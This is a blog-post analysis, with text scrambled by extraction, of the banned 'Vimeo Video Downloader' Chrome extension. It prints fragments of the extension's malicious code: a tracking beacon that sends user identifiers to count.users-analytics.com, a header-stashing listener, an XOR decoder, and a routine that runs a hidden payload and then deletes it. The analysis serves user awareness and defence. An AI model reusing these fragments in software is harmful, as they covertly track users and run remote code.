Chrome extensions have always been a major selling point for the browser. However, some developed them to snoop on everyday users. Since Chrome v9, Chrome extensions have been a core part of the browser’s functionality powered by the browser’s comprehensive extensions API. The sheer size of the Chrome Web Store with over 190,000 extensions/web apps and over 1.2 billion installs is a testament to how successful this launch was. Extensions add a wide range of possible capabilities and can be installed in seconds from the Chrome Web Store. Some extensions such as LastPass, uBlock Origin, Tampermonkey, and more have enjoyed immense success on the platform. Smaller independent developers, like myself, are also able to develop themes and extensions all with a one-time payment of $5 to register as a developer. This allowed my high school self to launch a theme called which has over 300,000 users around the world. Material Dark Despite these benefits, the platform has become a to perform spying and phishing attacks. According to , Chrome makes up roughly 70% of today’s browser market share. Chrome’s large user base allows attackers to consolidate their attacks on Chrome itself. Also, browsers like Edge and many other can install malicious extensions through the Chrome store. prime attack vector for hackers Statista Chrome clones Throughout the years, there is more and more evidence that malicious Chrome extensions pose a larger threat to users. In 2015, Google from their store. In 2020, we still face a similar issue where this time, . It seems that thwarting all possible malicious extensions is a never-ending race. removed over 200 ad injecting extensions attackers are going after our browsing behaviors Attackers employ a range of strategies to lure unsuspecting users into their trap. The most basic types of attacks on the Chrome store are extensions that pose as other legitimate extensions out there such as . Higher level attacks include injecting advertisements into a page, redirecting users to phishing sites, tracking user browsing behavior, stealing user credentials from sites, mining Bitcoin, and more. Despite Chrome’s more rigid enforced a couple of years ago, these malicious attacks can very well still occur if a loophole is found. Snapchat for Chrome Content Security Policy This extension is a grim reminder that we live in a world where over 10,000 people think Facetime is available on Chrome. Today, attackers have gotten more crafty with their attacks. Popular extensions with a large and trusting community are now sometimes sold to those who have harmful intentions. Attackers can modify the source to include malicious code. Thanks to feature for extensions, the now harmful extension can reach most Chrome users in days. A notable example of this is . Chrome’s Autoupdate NanoAdblocker Most of the articles written regarding the latest batch of banned extensions have been quite shallow, so I hope this series of blog posts will help shed some light on what these extensions are doing with your browsing data. First Look: Vimeo Video Downloader On November 19th, 2020, security researchers in Cz.nic, a domain registration company for .cz domains, discovered extensions that were . Avast confirmed were also tracking browsing behavior upwards of 3 million users and redirecting users based on the current website they are trying to access to monetize traffic. According to Avast's post, covertly tracking browsing habits 28 more extensions the virus detects if the user is googling one of its domains or, for instance, if the user is a web developer and, if so, won't perform any malicious activities on their browsers. It avoids infecting people more skilled in web development, since they could more easily find out what the extensions are doing in the background. As an example, I will be analyzing for this series of blog posts. Vimeo™ Video Downloader As of 12/18, this extension was no longer available to be downloaded from the Chrome Web Store, but we can still see the stats . In the final days of the extension’s existence, it was able to rack up 4.77 stars with 766 reviews and 510,424 total weekly users. This by no means was an unpopular extension and it is probably not the last we will see of these malicious extensions. here Installation Disclaimer: I am by no means a security researcher or even an expert. I just happen to have an affinity for studying vulnerabilities and this is my experience in stepping through what the extension does. I do not encourage people to obtain a copy of these extensions without taking the necessary precautions (use a virtual machine, a VPN, edit hosts list to allow/block ingress and egress to malicious hosts, etc.) To install, you will have to enable in chrome://extensions and click on Load Unpacked if you have an unzipped copy of the extension. However, this is not enough since Chrome will disable the extension after a couple of minutes. To fix this, you need to change the ID of the Chrome extension. This can be done by removing the key and fields in manfiest.json. Once that’s done, perform the first step again and the extension should be loaded with a brand new ID. developer mode differential_fingerprint Initial Look at the Code Given that the extension was flagged, I was curious to see the code that got this flagged in the first place. One tool that is great for viewing the source of Chrome extensions without having to download it is . If you already have the source, any editor like VSCode would work just as well, if not better. CrxViewer To remove any liability of me “distributing” code that can be used for bad intentions, I will not be providing the full source. You, the reader, have full liberty to seek it for yourself. 😎 Wait, where’s the link to the code? Running yields the following directory structure: tree . ├── css │ ├── content.css │ ├── popup.css │ └── thankyou.css ├── fonts │ ├── ... ├── img │ ├── ... ├── js │ ├── bg_script.js │ ├── jquery.js │ ├── popup.js │ ├── thankyou.js │ ├── tippy.all.js │ └── vimeo_com.js ├── _locales │ ├── ... ├── manifest.json ├── popup.html └── thankyou.html 52 directories, 84 files The part of the source I will focus on is the folder, which is the meat of the extension. js Manifest File A glance at the extension’s manifest file should give us some hint as to what this extension can do. The first section I looked into was the section since background scripts are typically responsible for what is run inside the extension window itself. Strangely, the flag is set to , which according to Chrome’s documentation, means the extension uses the . To give the creator the benefit of the doubt, let's say this API is used for fetching the videos to be downloaded rather than pinging some remote server. background persistent true chrome.webRequest API : { : , : [ , ] } "background" "persistent" true "scripts" "js/jquery.js" "js/bg_script.js" In the content_scripts section, it states that the script will execute for all frames in the page using and . These files will most likely be responsible for the functionality of the extension itself, which is to fetch all videos on a given page and their download URLs. jquery.js vimeo_com.js : [ { : , : [ ], : [ , ], : [ ], : } ], "content_scripts" "all_frames" true "css" "css/content.css" "js" "js/jquery.js" "js/vimeo_com.js" "matches" "*://*.vimeo.com/*" "run_at" "document_end" Moving onto the next section, the extension’s (content security policy) dictates what the script and cannot do to help prevent things such as XSS attacks. What is a big red flag in this extension that is allowed is using the eval function by including the flag in the field. According to , the inclusion of should’ve flagged this extension for manual review, but somehow it still made it to the Chrome store. Some info I found about the review process can be read . CSP unsafe-eval content_security_policy this StackOverflow question unsafe-eval here : , "content_security_policy" "script-src 'self' https://*.vimeo.com 'unsafe-eval'; object-src https://*.vimeo.com 'self'" The last notable section is the key in the manifest file. permissions : [ , , , , , , ] "permissions" "webRequest" "storage" "tabs" "downloads" "" "management" "cookies" Some points of interest include the fact that the extension can send web requests, read your tabs, read your downloads, execute on any page (from rule), read all your extensions, and all your cookies for any page. <all_urls> bg_script.js As stated above, the one thing that seemed suspicious was the fact that the background script was set to be persistent, which is usually not the case in many extensions. With this in mind, the question becomes, what requests could the extension possibly need to make? Upon loading the file, the code is an absolute hot mess. However, it’s not something any JS beautifying tool can’t fix. Starting from the top, one block of code stood out in particular. One of the registered handlers listened to responses sent from a server defined in and all the response headers greater than 20 chars in length were saved in local storage. x[2] chrome.webRequest.onCompleted.addListener( { a.responseHeaders.forEach( { a.value && a.value.length > && (localStorage[a.name.toLowerCase()] = a.value) }) }, { : [ + x[ ] + ], : [ ] }, [ ]), ( ) function a ( ) function a 20 urls "*://" 2 "*" types "image" "responseHeaders" A quick search to find what got pushed into array x shows that we are listening to a domain called . To me, this was a very strange URL for anyone to use to get extension usage analytics. This was certainly not something associated with Google Analytics. count.users-analytics.com C = { x.push(y), x.push(E); a = ; x.push(a) }, ( ) function var "count.users-analytics.com/" Nothing really useful came out of trying to find out the WHOIS information for the domain itself. The only piece of info that could be useful is its 2020–12–03 15:27:18 UTC registration date, indicating it was very recent. Out of curiosity, I pinged users-analytics.com and received no response. However, actually did return a response in the form of a 1x1 GIF. At first, I wasn’t sure why a GIF was returned but then it hit me that this acts as a . In short, a tracking pixel is a technique used by websites to see if users loaded an email, webpage, etc. It usually is in the form of a 1x1 GIF which makes it invisible to the typical user. count.users-analytics.com tracking pixel Now to me, this doesn’t seem to be too big of an issue since this is the same technique employed by Google, Facebook, Microsoft, etc. for their trackers. However, it is sending information to some unknown domain which is very suspect. The URL requested is in the form of: https://count.users-analytics.com/count.gif?_e_i=downl-imeo&ed_=aaaaaaaabci&_vv=1.1.9&r=0.0001&_l=en-US&_k=br&t=1600000000000&_idu=5wxzrw3585ososi1 Query parameters have been edited for privacy. To summarize the query parameters (important ones at least): and other variants - the identifier for the extension being used which is randomly chosen. _e_i https://gist.github.com/f5ba4f20d6e5c4e27fd9866e5bde0729 and other variants - the version of the extension. _vv and other variants - some random value from . r Math.random() https://gist.github.com/cb2bf2f0ffed68e29ea9e606643513c1 and other variants - your locale. _l and other variants - timestamp the extension was installed. t and other variants - an identifier that identifies you as the user. This ID is first generated when you install the extension and is stored within Chrome’s storage API. _idu https://gist.github.com/1d88557ff674dda6e1bbed9901b1a47e The request to this dingy analytics domain is triggered within this function . t { b = Image, c = .random(); c += , c > ? b.src = [ , m(), k(), l(), i(), n(), j(a), p()].join( ).replace( , ) : b.src = [ , x[ ], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join( ).replace( , ) } ( ) function t a var new Math 1 2 "https://www.google-analytics.com/_utm.gif?" "" /&$/ "" "https://" 2 "" /&$/ "" Notice how the Google Analytics URL is also shown, but don’t let that fool you. If you read this carefully, you’ll see that the condition is always false. starts as a number from 0 (inclusive) to 1 (exclusive). The code subsequently adds 1, but the resulting value is never greater than 2. A request will always be made to the URL stored in , which is . How cheeky. c > 2 c x[2] counter.users-analytics.com { b = Image, c = .random(); c += ; (c > ) { b.src = [ , m(), k(), l(), i(), n(), j(a), p()].join( ).replace( , ) } { b.src = [ , x[ ], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join( ).replace( , ) } } // Better Readability ( ) function t a var new Math // 0 <= c < 1 1 // 1 <= c < 2 if 2 "https://www.google-analytics.com/_utm.gif?" "" /&$/ "" else "https://" 2 "" /&$/ "" Strange String Function The script also adds a new function for strings that does some form of manipulation or encoding. .prototype.strvstrevsstr = { a = ; .length % != && (a += .slice( , - .length % )), a = atob(a.replace( , ).replace( , )); b = (a[ ] + a[ ], ), c = (a[ ], ); a = a.substr( ); d = (a); (a = a.substr(( + d).length + ), d != a.length) ; ( e = [ .fromCharCode], f = ; f < a.length; f++) e.push(a.charCodeAt(f)); ( g = [], h = b, i = ; i < e.length - ; i++) { j = e[i + ] ^ h; i > c && (j ^= e[i - c + ]), h = e[i + ] ^ b, g.push(e[ ](j)) } g.join( ); } String ( ) function var this this 4 0 "===" 0 4 this 4 /\-/g "+" /_/g "/" var parseInt 0 1 16 parseInt 2 16 3 var parseInt if "" 1 return null for var String 0 for var 0 1 var 1 1 1 0 return "" Obviously, someone doesn’t want people like me to be snooping around their extension. Without actually using this extension, we won’t know what this is used for other than how it is called in some parts of the code. gets invoked if we can find a string that is greater than 10 chars in length in the string stored in local storage with the key (for some reason now it filters for 10 chars rather than 20 as stated earlier). The header , but nothing stops a bad actor from inserting additional information into the field, like an encoded string. Without running the extension, it isn’t too clear what is going on with this function. What we can tell from reading this code is that once e is decoded in some form with and parsed as a JSON object, its object entries are written to window. A gets set to true to possibly indicate that this step has been completed. strvstrevsstr cache-control cache-control typically holds these values strvstrevsstr getMediaPath: { a = .localStorage; (a[ ]) { b = a[ ].split( ); { c; ( d b) { e = b[d].trim(); (!(e.length < )) { (c = e.strvstrevsstr(), c = != && .parse && .parse(c), c && c.cache_c) { ( f c) [f] = c[f]; A = ! ; } } (g) {} } } (g) {} .setMediaPath() } } ( ) function var window if "cache-control" var "cache-control" "," try var for var in var if 10 try if "undefined" typeof JSON JSON JSON for var in window 0 break catch catch this Subsequently, is called as part of some callback to store something into local storage with the key . setMediaPath cfg_audio_id setMediaPath: { != jj && jj && uu && gg > jj && [jj][gg](uu, { b = ; localStorage[b] = a }) } ( ) function "undefined" typeof window ( ) function a var "cfg_audio_id" Hit and Run Function Interesting how this function seems to call something using whatever that is stored in cfg_audio_id and then deleting it right after. findDetails: { ( != ee) { a = ; localStorage[a] && [ee](localStorage[a]); localStorage[a]; } } ( ) function if "undefined" typeof var "cfg_audio_id" window delete Tracing the callers shows that is called as part of some callback function with a delay of . findDetails 1500ms { b.url && (b.url.indexOf( ) > && chrome.tabs.sendMessage(a, ), A || (setTimeout( { D.findDetails(); }, ), .trace( ), B.getMediaPath())) } ( ) function e a, b, c "vimeo.com" -1 "url_changed" ( ) function 1500 console 'set' According to , the event fires whenever any of the following changes: Chrome’s documentation onUpdated If these findings tell us anything, it’s that the extension is trying to execute some code whenever the tab gets updated. Once executed, it deletes itself to hide from the user. This Extension Has Friends Normally, sometimes extensions will disable themselves if it encounters another extension it does not mesh well with. In the extension code itself, we see that there is a whole list of extension ids that would cause this extension to stop working and alert the user that a conflict exists. J = [ , , , , , , ]; chrome.management.getAll( { a.forEach( { === a.type && a.enabled && J.indexOf(a.id) > && (v = ! ) }) }) var "phpaiffimemgakmakpcehgbophkbllkf" "ocaallccmjamifmbnammngacjphelonn" "ckedbgmcbpcaleglepnldofldolidcfd" "ejfanbpkfhlocplajhholhdlajokjhmc" "egnhjafjldocadkphapapefnkcbfifhi" "dafhdjkopahoojhlldoffkgfijmdclhp" "lhedkamjpaeolmpclkplpchhfapgihop" // Other malicious extensions ( ) function a ( ) function a "extension" -1 0 Most likely this is included to not obstruct other extensions that are also doing the same malicious deed. I took a look at the list of extension ids and it seems that they are all Vimeo video downloaders that have either been removed from the Chrome Web Store or are continuing to infect users. connect: { b = , c = .activeList, d = a.sender.tab.id; c[d] = .activeList[d] || {}, c[d][a.name] = a, a.onDisconnect.addListener( { c[d][a.name], == .keys(c[d]).length && c[d] }), a.onMessage.addListener( { == a.action && (b.addVideo(d, c.name, a.found_video), u(d, b.getVideos(d).length), I.newVideoFound(a.found_video)) }), v && a.postMessage( ) }, ( ) function a var this this this ( ) function a delete 0 Object delete ( ) function a, c "video_found" "conflict_exists" // Received by content script run: { .port = chrome.runtime.connect({ : .random().toString() }), .port.onMessage.addListener( { === b && (a.videoFeed.btnClassNameConflict = ) }), .mutationMode.enable() }, // vimeo_com.js (content script) ( ) function this name Math this ( ) function b, c "conflict_exists" "exist_conflict_btn" this Other Scripts The other scripts did not seem to have anything too out of the ordinary that could be malicious. For now, I will skip talking about these. Closing Thoughts When I first tested this extension with minimal and basic usage, it seems like nothing was inherently wrong. The extension worked as stated. Initially, the red flags that caught my eye were the tracking pixel requested from an unknown host and the scrambled code intended to mislead any user like me. I wasn’t entirely sure if the extension was banned purely for the reason of having a tracking pixel residing in an unknown domain. There had to be more to it that warranted its expulsion from the Chrome Web Store. Looking closer at the code revealed that something was being executed on tab update events. But what is it? Thanks for reading! 💎 Thank you for taking the time to check out this post. For more content like this, head over to my actual . Feel free to reach out to me on and follow me on . blog LinkedIn Github